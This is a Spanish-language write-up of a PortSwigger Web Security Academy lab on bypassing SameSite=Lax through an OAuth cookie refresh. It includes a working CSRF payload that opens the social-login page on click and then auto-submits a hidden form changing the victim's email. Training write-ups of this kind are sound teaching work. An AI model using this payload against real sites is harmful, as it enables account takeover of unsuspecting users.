Descripción

This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.

The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter

Note

The default SameSite restrictions differ between browsers. As the victim uses Chrome, we recommend also using Chrome (or Burp’s built-in Chromium browser) to test your exploit.

SameSite Lax bypass via cookie refresh writeup

Accedemos al laboratorio e iniciamos sesión en ‘My account’ con el usuario ‘wiener’ y la contraseña ‘peter’. Ahora cambiaremos nuestro correo electrónico y nos llevaremos esa petición al ‘Repeater’ con Ctrl + R.

Generaremos un CSRF PoC con Click derecho -> Engagement tools -> Generate CSRF PoC.

Si lo intentamos enviar a la víctima no funcionará directamente, debido a que la cookie tiene el ‘SameSite’ en ‘Lax’. Tendremos que modificarlo ligeramente:

<form method="POST" action="https://0a0d005d03bae1f8802e769500c800b6.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="test2@cyberhub.es">
</form>
<script>
    window.onclick = () => {
        window.open('https://0a0d005d03bae1f8802e769500c800b6.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

Con esto conseguimos que el usuario inicie sesión, llevándolo al ‘social-login’ cuando haga click en cualquier lado de la página. Al acabar de iniciar sesión a través de OAuth, Chrome no pone restricciones en su cookie por 2 minutos, por lo que después de 5 segundos, ejecutamos la función ‘changeEmail()’, que se encargará de cambiar su correo, completando así el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *